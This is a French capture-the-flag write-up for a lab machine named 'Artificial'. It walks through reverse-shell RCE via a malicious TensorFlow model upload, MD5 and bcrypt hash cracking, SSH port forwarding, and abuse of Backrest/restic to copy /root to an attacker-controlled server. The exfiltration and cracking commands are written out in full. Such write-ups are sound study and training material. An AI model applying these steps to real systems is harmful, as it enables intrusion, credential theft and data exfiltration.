Artificial
Cette machine permet un Remote Code Execution via TensorFlow puis un pivot vers un autre service pour récupérer le root.
Données :
- Mon IP :
10.10.14.50 - IP cible :
10.10.11.74
Analyse et énumération
Je lance nmap sur l'IP, je découvre un port 22 en SSH et un port 80 en nginx. Après avoir mis à jour mon fichier hosts j'arrive sur le site. À première vue, ni la page login ni le code source ne révèlent grand chose. Je lance gobuster pour les sous-domaines et dirbuster pour l'arborescence — rien de concluant.
Je créé un compte et me connecte :

Plusieurs points attirent mon œil : deux fichiers à télécharger (requirements.txt et Dockerfile), et la possibilité d'uploader un fichier — je pense tout de suite à un reverse shell.
Dans le requirements.txt je vois tensorflow-cpu 2.13.1. Je cherche des CVE sur cette version sans succès.
Exploitation — RCE via TensorFlow
En me renseignant sur TensorFlow, je lis qu'on peut lui faire exécuter du code arbitraire. Je construis un payload malicieux exploit.py :

Je lance le Dockerfile et une fois le build terminé :
docker run -it -v $(pwd):/app artificial-exploit
On monte le répertoire courant (Downloads) dans /app du container. Je retrouve exploit.py dans /app et le lance :
python3 exploit.py
Un ls révèle le fichier exploit.h5. Je l'uploade sur le site, lance netcat sur ma machine et exécute le fichier — le reverse shell fonctionne.

Accès utilisateur
Je suis l'utilisateur app. En lisant app.py je vois que les mots de passe sont sauvegardés en MD5. Je vais dans le dossier instance où se trouve la base de données :
sqlite3 users.db

J'obtiens la liste des utilisateurs avec leurs hash MD5. Je passe celui de gael dans CrackStation et j'obtiens son mot de passe.
Je me connecte en SSH avec ses identifiants — ça fonctionne, j'ai le premier flag :

Élévation de privilèges
Je regarde les groupes de gael — il fait partie de sysadm. Je cherche les fichiers lisibles pour ce groupe :
find / -type f -readable -group sysadm 2>/dev/null
Résultat : un fichier compressé backrest_backup.tar.gz. Je le décompresse dans /tmp :

En fouillant dans le dossier backrest, j'arrive au .config et j'obtiens un nom d'utilisateur et un mot de passe encodé en Bcrypt :
echo 'JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP' | base64 -d > bcrypt.hash hashcat -m 3200 bcrypt.hash /usr/share/wordlists/rockyou.txt # => $2a$10$cVGIy9VMXQd0gM5ginCmjei2kZR/ACMMkSsspbRutYP58EBZz/0QO:!@#$%^
Pivot via Backrest
Dans l'énumération j'avais lancé :
ss -tulnp | grep LISTEN
Le serveur écoute sur le port 9898. Je fais une redirection de port via SSH :
ssh -L 9898:127.0.0.1:9898 gael@10.10.11.74
J'ouvre localhost:9898 et je tombe sur une interface Backrest. Je rentre les identifiants trouvés dans config.json et j'accède au dashboard.
Backrest permet de faire des backups et restores en s'appuyant sur restic — qu'on va exploiter via GTFOBins.
Sur ma machine attaquante je lance un serveur restic :
git clone https://github.com/restic/rest-server.git cd rest-server GOARCH=amd64 GOOS=linux go build -o rest-server ./cmd/rest-server ./rest-server --path /tmp/restictemp --listen :8888 --no-auth
Je crée un repo sur Backrest :

Une fois dans le repo, j'exécute des commandes via "Run Command" :

-r rest:http://10.10.14.50:8888/backuprepo init
-r rest:http://10.10.14.50:8888/backuprepo backup /root
Puis sur ma machine :
restic -r /tmp/restictemp/backuprepo snapshots restic -r /tmp/restictemp/backuprepo restore de75a0d2 --target /tmp/restore
Je restore un backup de /root dans /tmp/restore et j'y trouve le root.txt :
